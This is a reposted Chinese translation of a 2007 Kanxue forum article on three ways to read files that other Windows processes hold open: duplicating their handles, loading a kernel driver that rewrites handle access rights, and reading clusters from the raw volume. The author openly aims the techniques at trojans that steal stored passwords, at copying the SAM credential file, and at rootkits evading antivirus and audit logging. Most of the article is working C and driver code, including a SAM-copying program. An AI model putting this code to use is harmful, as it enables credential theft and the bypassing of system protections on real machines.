被佔用文件操作三法

【轉載】【翻譯】被佔用文件操作三法

轉載自看雪論壇,有很高的參考價值。
=======================

標 題: 【翻譯】被佔用文件操作三法
作 者: libradohko
時 間: 2007-02-03,00:44
鏈 接: http://bbs.pediy.com/showthread.php?threadid=39001

被佔用文件操作三法

無疑我們中的很多人都會遇到需要讀寫被其它進程佔用的文件的情況,比如說在編寫backup程序或是trojan的時候。能從系統中抽出SAM文件,或是讀取其它某些用標準方法無法成功訪問的文件顯然是件不錯的事情。比如說當用標誌dwShareMode = 0打開文件時,其它進程就不能對它進行訪問了。一個很好的例子就是網絡尋呼機程序Miranda。這個程序在自己工作的時候不允許別人打開自己的數據庫。假設我們需要寫一個這樣的木馬,它在感染機器後從數據庫中竊走密碼,然後刪除自身,這個時候就需要解決這個問題。所以我決定寫下這篇文章。文章篇幅不大,但裏面的內容可能會對某些人有益。那我們就開始吧。


尋找打開文件的句柄

如果文件由某個進程打開,那麼這個進程就擁有了它的句柄。在我第二篇關於API攔截的文章裏我講解了如何搜索需要的句柄並用它打開進程,要訪問已打開的文件,我們也可以使用這種方法。我們需要使用ZwQuerySystemInformation函數來枚舉句柄,將每一個句柄都用DuplicateHandle進行復制,確定句柄屬於那個文件(ZwQueryInformationFile),如果是要找的文件,就將句柄拷貝。

這些在理論上都講得通,但在實踐中會遇到兩處難點。第一,在對打開的named pipe(工作於block mode)的句柄調用ZwQueryInformationFile的時候,調用線程會等待pipe中的消息,而pipe中卻可能沒有消息,也就是說,調用ZwQueryInformationFile的線程實際上永久性地掛起了。所以命名文件的獲取不用在挑選句柄的主線程中進行,可以啓動獨立的線程並設置一個timeout值來避免掛起。第二,在拷貝句柄後,兩個句柄(我們進程的和打開文件進程的)將會指向同一個FileObject,從而當前的輸入輸出模式、在文件中的位置以及其它與文件相關的信息就會由兩個進程來共享。這時,甚至只是讀取文件都會引起讀取位置的改變,從而破壞了打開文件程序的正常運行。爲了避免這種情形,我們需要需要停止佔用文件進程的線程、保存當前位置、拷貝文件、恢復當前位置以及重新啓動佔用文件的進程。這種方法不能用於許多情形,比如要在運行的系統中拷貝註冊表文件,用這種方法就不會成功。

我們先來試着實現對系統中所有已打開文件的句柄的枚舉。爲枚舉句柄,每個句柄都由以下結構體描述:
複製內容到剪貼板
代碼:
typedef struct _SYSTEM_HANDLE
{
  ULONG       uIdProcess;
  UCHAR       ObjectType;
  UCHAR       Flags;
  USHORT      Handle;
  POBJECT     pObject;
  ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
這裏的ObjectType域定義了句柄所屬的對象類型。這裏我們又遇到了問題——File類型的ObjectType在Windows 2000、XP和2003下的取值各不相同,所以我們不得不動態的定義這個值。爲此我們用CreateFile來打開NUL設備,找到它的句柄並記下它的類型:
複製內容到剪貼板
代碼:
UCHAR GetFileHandleType()
{
  HANDLE                     hFile;
  PSYSTEM_HANDLE_INFORMATION Info;
  ULONG                      r;
  UCHAR                      Result = 0;

  hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

  if (hFile != INVALID_HANDLE_VALUE)
  {
   Info = GetInfoTable(SystemHandleInformation);

   if (Info)
   {
     for (r = 0; r < Info->uCount; r++)
     {
       if (Info->aSH[r].Handle == (USHORT)hFile &&
                                   Info->aSH[r].uIdProcess == GetCurrentProcessId())
       {
         Result = Info->aSH[r].ObjectType;
         break;
       }
     }

     HeapFree(hHeap, 0, Info);
   }

   CloseHandle(hFile);
  }
  return Result;
}
現在知道了句柄的類型我們就可以枚舉系統中打開的文件了。首先我們來用句柄獲取打開文件的文件名:
複製內容到剪貼板
代碼:
typedef struct _NM_INFO
{
  HANDLE  hFile;
  FILE_NAME_INFORMATION Info;
  WCHAR Name[MAX_PATH];
} NM_INFO, *PNM_INFO;

DWORD WINAPI
  GetFileNameThread(PVOID lpParameter)

{
  PNM_INFO        NmInfo = lpParameter;
  IO_STATUS_BLOCK IoStatus;
  int r;

  NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info,
                      sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);

  return 0;
}

void GetFileName(HANDLE hFile, PCHAR TheName)
{
  HANDLE   hThread;
  PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));

  Info->hFile = hFile;

  hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);

  if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);

  CloseHandle(hThread);

  memset(TheName, 0, MAX_PATH);

  WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);

  HeapFree(hHeap, 0, Info);
}
現在來枚舉打開的文件:
複製內容到剪貼板
代碼:
void main()
{
  PSYSTEM_HANDLE_INFORMATION Info;
  ULONG                      r;
  CHAR                       Name[MAX_PATH];
  HANDLE                     hProcess, hFile;

  hHeap = GetProcessHeap();

  ObFileType = GetFileHandleType();

  Info = GetInfoTable(SystemHandleInformation);

  if (Info)
  {
   for (r = 0; r < Info->uCount; r++)
   {
     if (Info->aSH[r].ObjectType == ObFileType)
     {
       hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);
      
       if (hProcess)
       {
         if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,
                       GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))
         {
           GetFileName(hFile, Name);

           printf("%s/n", Name);

           CloseHandle(hFile);
         }

         CloseHandle(hProcess);
       }       
     }
    
   }  
   HeapFree(hHeap, 0, Info);
  }
}
現在對於文件的拷貝我們剩下的工作只是找到所需句柄後用ReadFile讀取它。這裏一定要使用前面提到的機制,不可疏忽。

這種方法的優點是實現簡單,但是其缺點更多,所以這個方法只適用於確定文件被那個進程佔用。


修改句柄訪問權限

所有被佔用的文件通常都可以用讀屬性(FILE_READ_ATTRIBUTES)打開,這樣就可以讀取文件的屬性,取得它的大小,枚舉NTSF stream,但遺憾的是,ReadFile就不能成功調用了。打開文件時各種訪問屬性的區別在哪裏呢?顯然,打開文件時,系統會記錄訪問屬性,之後會用這個屬性與請求的訪問作比較。如果找到了系統保存這個屬性的位置並修該掉它,那就不只可以讀取,甚至可以寫入任何已打開的文件。

在用戶這一級別上我們並不是直接與文件打交道,而是通過它的句柄(這個句柄指向FileObject),而函數ReadFile/WriteFile調用ObReferenceObjectByHandle,並指明瞭相應的訪問類型。由此我們可以得出結論,訪問權限保存在描述句柄的結構體裏。實際上,HANDLE_TABLE_ENTRY結構體包含有一個GrantedAccess域,這個域不是別的,就是句柄的訪問權限。遺憾的是,Microsoft的程序員們沒有提供修改句柄訪問權的API,所以我們不得不編寫驅動自己來做這項工作。

我在《隱藏進程檢測》一文中講到過Windows 2000和XP的句柄表結構體,我想補充的只有一點,就是Windows 2003中的句柄表與XP的完全一樣。與那篇文章不同,我們這裏不需要枚舉表中的句柄,而只需要找到某個具體的(已知的)句柄,我們不用管PspCidTable,而只操作自己進程的句柄表,表的指針位於進程的EPROCESS結構體裏(2000下的偏移爲0x128,XP下的爲0x0C4)。

爲了取得句柄結構體指針需要調用未導出函數ExpLookupHandleTableEntry,但我們不會去搜索它,因爲在導出函數中沒有對它的直接引用,搜索結果也很不可靠,除此之外我們此時還需要ExUnlockHandleTableEntry函數。最好的辦法就是編寫自己的句柄表lookup函數。考慮到Windows 2000與XP下句柄表的差異,我們將編寫不同的函數。

首先是Windows 2000下的:
複製內容到剪貼板
代碼:
PHANDLE_TABLE_ENTRY
  Win2kLookupHandleTableEntry(
     IN PWIN2K_HANDLE_TABLE HandleTable,
     IN EXHANDLE            Handle
     )
{
   ULONG i, j, k;

   i = (Handle.Index >> 16) & 255;
   j = (Handle.Index >> 8)  & 255;
   k = (Handle.Index)       & 255;
  
   if (HandleTable->Table[i])
   {
       if (HandleTable->Table[i][j])
       {
           return &(HandleTable->Table[i][j][k]);
       }  
   }
   return NULL;    
}
這段代碼簡單易懂。因爲句柄的值本身是個三維表的三個索引,所以我們只需其中的各個部分並查看錶中相應的元素(當然如果存在的話)。因爲Windows XP中的句柄表可以有一到三個級別,所以相應的lookup代碼就要更爲複雜一些:
複製內容到剪貼板
代碼:
PHANDLE_TABLE_ENTRY
  XpLookupHandleTableEntry(
            IN PXP_HANDLE_TABLE HandleTable,
            IN EXHANDLE         Handle
            )
{
   ULONG i, j, k;
   PHANDLE_TABLE_ENTRY Entry = NULL;
   ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;

   i = (Handle.Index >> 17) & 0x1FF;
   j = (Handle.Index >> 9)  & 0x1FF;
   k = (Handle.Index)       & 0x1FF;

   switch (HandleTable->TableCode & TABLE_LEVEL_MASK)
   {
       case 0 :
         Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];
       break;
   
       case 1 :
         if (((PVOID *)TableCode)[j])
         {
            Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];     
         }
       break;

       case 2 :
         if (((PVOID *)TableCode)[i])
         if (((PVOID **)TableCode)[i][j])
         {
            Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];              
         }
       break;
   }
   return Entry;
}
我們看到,這段代碼中的句柄並不是ULONG型的值,而是EXHANDLE結構體:
複製內容到剪貼板
代碼:
typedef struct _EXHANDLE
{
   union
   {
       struct
       {
           ULONG TagBits : 02;
           ULONG Index   : 30;
       };
       HANDLE GenericHandleOverlay;
   };
} EXHANDLE, *PEXHANDLE;
我們看到,句柄不知包含了表的索引,還包含了一個2 bit的標誌。您可能已經察覺到,一個句柄可以有着幾種不同的意義,這一點與這樣一個事實有關,那就是並非句柄中所有的位都被使用到(依賴於在表中的級別)。這是Windows XP最具個性的特點。

現在我們就可以獲取句柄表中所需的元素了,該編寫爲句柄設置所需訪問屬性的函數了:
複製內容到剪貼板
代碼:
BOOLEAN SetHandleAccess(
               IN HANDLE      Handle,
               IN ACCESS_MASK GrantedAccess
               )
{
  PHANDLE_TABLE       ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);
  PHANDLE_TABLE_ENTRY Entry;
  EXHANDLE            ExHandle;

  ExHandle.GenericHandleOverlay = Handle;

  Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);

  if (Entry) Entry->GrantedAccess = GrantedAccess;

  return Entry > 0;
}
現在編寫驅動,設置句柄的訪問屬性,通過DeviceIoControl向驅動傳遞句柄。代碼如下:
複製內容到剪貼板
代碼:
NTSTATUS DriverIoControl(
   IN PDEVICE_OBJECT DeviceObject,
   IN PIRP Irp)
{
   PIO_STACK_LOCATION pisl     = IoGetCurrentIrpStackLocation(Irp);
   NTSTATUS           status   = STATUS_UNSUCCESSFUL;
   ULONG              BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
   PUCHAR             pBuff    = Irp->AssociatedIrp.SystemBuffer;
   HANDLE             Handle;
   ACCESS_MASK        GrantedAccess;

   Irp->IoStatus.Information = 0;

   switch(pisl->Parameters.DeviceIoControl.IoControlCode)
   {
       case IOCTL1:
           if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))
           {
               Handle        = *(HANDLE*)pBuff;
               GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));

               if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;
      
           }    
        break;
    }  

   Irp->IoStatus.Status = status;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);
   return status;
}

NTSTATUS DriverCreateClose(
   IN PDEVICE_OBJECT DeviceObject,
   IN PIRP Irp)
{
   Irp->IoStatus.Information = 0;
   Irp->IoStatus.Status = STATUS_SUCCESS;
   IoCompleteRequest(Irp, IO_NO_INCREMENT);
   return STATUS_SUCCESS;
}


NTSTATUS DriverEntry(
           IN PDRIVER_OBJECT DriverObject,
           IN PUNICODE_STRING RegistryPath
           )
{
   PCWSTR   dDeviceName       = L"//Device//fread";
   PCWSTR   dSymbolicLinkName = L"//DosDevices//fread";
   NTSTATUS status;
   PDRIVER_DISPATCH *ppdd;

   RtlInitUnicodeString(&DeviceName,       dDeviceName);
   RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);

   switch (*NtBuildNumber)
   {
       case 2600:
           ObjectTableOffset = 0x0C4;
           ExLookupHandleTableEntry = XpLookupHandleTableEntry;
       break;

       case 2195:
           ObjectTableOffset = 0x128;
           ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;
       break;

       default: return STATUS_UNSUCCESSFUL;
   }

   status = IoCreateDevice(DriverObject,
                           0,
                           &DeviceName,
                           FILE_DEVICE_UNKNOWN,
                           0,
                           TRUE,
                           &deviceObject);
  
   if (NT_SUCCESS(status))
   {
       status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);

       if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);

       DriverObject->DriverUnload = DriverUnload;
   }

   ppdd = DriverObject->MajorFunction;
 
   ppdd [IRP_MJ_CREATE] =
   ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;
   ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;

   return status;
}
遺憾的是句柄結構體中的GrantedAccess域並沒有和文件打開的屬性(GENERIC_READ、GENERIC_WRITE等)對應起來,所以在設置新的屬性時我們需要以下constants:
複製內容到剪貼板
代碼:
#define AC_GENERIC_READ        0x120089
#define AC_GENERIC_WRITE       0x120196
#define AC_DELETE              0x110080
#define AC_READ_CONTROL        0x120080
#define AC_WRITE_DAC           0x140080
#define AC_WRITE_OWNER         0x180080
#define AC_GENERIC_ALL         0x1f01ff
#define AC_STANDARD_RIGHTS_ALL 0x1f0080
爲了使用這個驅動將SAM文件拷貝到c盤根目錄,我們可以寫一個最簡單的程序:
複製內容到剪貼板
代碼:
#include <windows.h>;
#include "hchange.h"

BOOLEAN SetHandleAccess(
            HANDLE Handle,  
            ACCESS_MASK GrantedAccess
            )
{
   HANDLE  hDriver;
   ULONG   Bytes;
   ULONG   Buff[2];
   BOOLEAN Result = FALSE;

   hDriver = CreateFile("////.//haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);

   if (hDriver != INVALID_HANDLE_VALUE)
   {
       Buff[0] = (ULONG)Handle;
       Buff[1] = GrantedAccess;

       Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);

       CloseHandle(hDriver);
   }
}

void main()
{
   HANDLE hFile, hDest;
   ULONG  Size, Bytes;
   PVOID  Data;
   CHAR   Name[MAX_PATH];

   GetSystemDirectory(Name, MAX_PATH);

   lstrcat(Name, "//config//SAM");

   hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                      NULL, OPEN_EXISTING, 0, 0);
  
   if (hFile != INVALID_HANDLE_VALUE)
   {
       if (SetHandleAccess(hFile, AC_GENERIC_READ))
       {
           Size = GetFileSize(hFile, NULL);

           Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

           if (Data)
           {
               ReadFile(hFile, Data, Size, &Bytes, NULL);

               hDest = CreateFile("c://SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

               if (hDest != INVALID_HANDLE_VALUE)
               {
                   WriteFile(hDest, Data, Size, &Bytes, NULL);

                   CloseHandle(hDest);
               }
               VirtualFree(Data, 0, MEM_RELEASE);
           }
       }
       CloseHandle(hFile);
   }
}
這個方法最大的缺陷就是強烈依賴於操作系統,而且還需要加載驅動程序,而這並不總是能實現的。但是從可靠性上來看,這種方法是最好的,所以我建議將其用在backup程序中(只是要經過長期的測試和調試!)。因爲這種方法有不能勝任的情形,我們轉入下一種方法。


使用直接硬盤訪問讀取文件

“直接訪問硬盤”這個想法當然很酷,但很快DOS編程愛好者們就會失望,這裏沒有硬件操作,因爲微軟很關心我們的疾苦,提供了方便簡單的API,通過這些API可以幾乎“直接地”操作硬盤。這樣大家就明白了吧,實際上我們是想以RAW模式打開volume,並按cluster來讀取文件。希望大家沒有被嚇到

如果直接入手解決這個問題,就需要手動地分析文件系統結構,這樣我們就需要編寫很多多餘的代碼,所以我們不會這樣去做,而是再一次參考微軟偉大的手冊——MSDN。"Defragmenting Files "和"Disk Management Control Codes"部分對於我們來說非常有用,那裏面有文件系統驅動的控制代碼,這些代碼可以用在各種磁盤整理程序中。打開MSDN,無疑會發現,使用IOCTL代碼FSCTL_GET_RETRIEVAL_POINTERS可以獲取文件分配圖。也就是說我們只需要藉助於這個IOCTL就可以獲取被佔用文件的cluster list並進行讀取。

用此代碼調用DeviceIoControl時,InputBuffer應該包含有STARTING_VCN_INPUT_BUFFER結構體,這個結構體描述了文件cluster鏈的首元素,函數成功執行後,OutputBuffer將裝有RETRIEVAL_POINTERS_BUFFER結構體,這個結構體描述了分配圖。我們來詳細地看一下這個結構體:
複製內容到剪貼板
代碼:
typedef struct
{  
  LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;

typedef struct RETRIEVAL_POINTERS_BUFFER
{  
   DWORD ExtentCount;  
   LARGE_INTEGER StartingVcn;  
   struct
   {    
       LARGE_INTEGER NextVcn;    
       LARGE_INTEGER Lcn;  
   } Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
第一個結構體很容易懂,我們只需要向StartingVcn.QuadPart傳遞0,而第二個結構體的格式需要好好研究一下。第一個域(ExtentCount)包含着結構體中Extents元素的數目。StartingVcn文件第一個cluster鏈的鏈號。每一個Extents元素都包含有一個NextVcn,其含有鏈中cluser的數目,而Lcn——其第一個cluster的cluster號。也就是說所返回的信息就是cluster鏈的描述符,其中每一個鏈都包含有某些個cluster。

現在返回信息的結構體的含義就已經明瞭了,到了編寫函數的時候了,這個函數獲取文件完整的cluster list並將其整理爲數組形式。
複製內容到剪貼板
代碼:
ULONGLONG *GetFileClusters(
                   PCHAR lpFileName,
                   ULONG ClusterSize,
                   ULONG *ClCount,
                   ULONG *FileSize
                   )
{
   HANDLE  hFile;
   ULONG   OutSize;
   ULONG   Bytes, Cls, CnCount, r;
   ULONGLONG *Clusters = NULL;
   BOOLEAN Result = FALSE;
   LARGE_INTEGER PrevVCN, Lcn;
   STARTING_VCN_INPUT_BUFFER  InBuf;
   PRETRIEVAL_POINTERS_BUFFER OutBuf;

   hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,
                      FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                      NULL, OPEN_EXISTING, 0, 0);

   if (hFile != INVALID_HANDLE_VALUE)
   {
       *FileSize = GetFileSize(hFile, NULL);

       OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf-&gt;Extents);

       OutBuf = malloc(OutSize);

       InBuf.StartingVcn.QuadPart = 0;
   
       if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,
                           sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))
       {
           *ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;

           Clusters = malloc(*ClCount * sizeof(ULONGLONG));

           PrevVCN = OutBuf-&gt;StartingVcn;

           for (r = 0, Cls = 0; r &lt; OutBuf-&gt;ExtentCount; r++)
           {
               Lcn = OutBuf-&gt;Extents[r].Lcn;

               for (CnCount = OutBuf-&gt;Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
                    CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;

               PrevVCN = OutBuf-&gt;Extents[r].NextVcn;
           }
       }
    
       free(OutBuf);  

       CloseHandle(hFile);
   }
   return Clusters;
}
函數完成後我們就得到了描述文件clusters的數組以及clusters的數目,現在可以很容易地拷貝文件了:
複製內容到剪貼板
代碼:
void FileCopy(
       PCHAR lpSrcName,
       PCHAR lpDstName
       )
{
   ULONG         ClusterSize, BlockSize;
   ULONGLONG    *Clusters;
   ULONG         ClCount, FileSize, Bytes;
   HANDLE        hDrive, hFile;
   ULONG         SecPerCl, BtPerSec, r;
   PVOID         Buff;
   LARGE_INTEGER Offset;
   CHAR          Name[7];
  
   Name[0] = lpSrcName[0];
   Name[1] = &#39;:&#39;;
   Name[2] = 0;

   GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);

   ClusterSize = SecPerCl * BtPerSec;
  
   Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);

   if (Clusters)
   {
       Name[0] = &#39;/&#39;;
       Name[1] = &#39;/&#39;;
       Name[2] = &#39;.&#39;;
       Name[3] = &#39;/&#39;;
       Name[4] = lpSrcName[0];
       Name[5] = &#39;:&#39;;
       Name[6] = 0;

       hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);

       if (hDrive != INVALID_HANDLE_VALUE)
       {
           hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);

           if (hFile != INVALID_HANDLE_VALUE)
           {
               Buff = malloc(ClusterSize);

               for (r = 0; r &lt; ClCount; r++, FileSize -= BlockSize)
               {
                   Offset.QuadPart = ClusterSize * Clusters[r];

                   SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);

                   ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);

                   BlockSize = FileSize &lt; ClusterSize ? FileSize : ClusterSize;

                   WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
               }

               free(Buff);

               CloseHandle(hFile);
           }
           CloseHandle(hDrive);
       }
       free(Clusters);
   }
}
文章到這裏其實就結束了,現在要拷貝SAM簡直易如反掌。在配套的示例中有將SAM拷貝到命令行指定的文件中的代碼。

無疑,這種方法形式簡單而功能強大,但遺憾的是它有着本質上的缺陷。這種方法只能用來讀取以FILE_READ_ATTRIBUTES屬性打開的文件,文件不能壓縮,不能加密,而且應該有自己的cluster(在NTFS下小文件可以整個放在MFT裏)。同時要考慮到,在讀取文件時文件可能被修改。

我想,如何與底層文件系統打交道大家都已經明白了。這個方法爲rootkit提供了諸多的便利。系統裏有保護文件不被修改的程序(比如說反病毒軟件),但是擁有了以RAW模式打開volume的權限之後,這些就形同虛設。再有,好的管理員會在自己的server上將重要文件的讀寫記錄入日誌文件,而直接訪問是逃不過日誌記錄的。要實現對文件的完全訪問就不得不編寫自己的NTFS驅動了。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章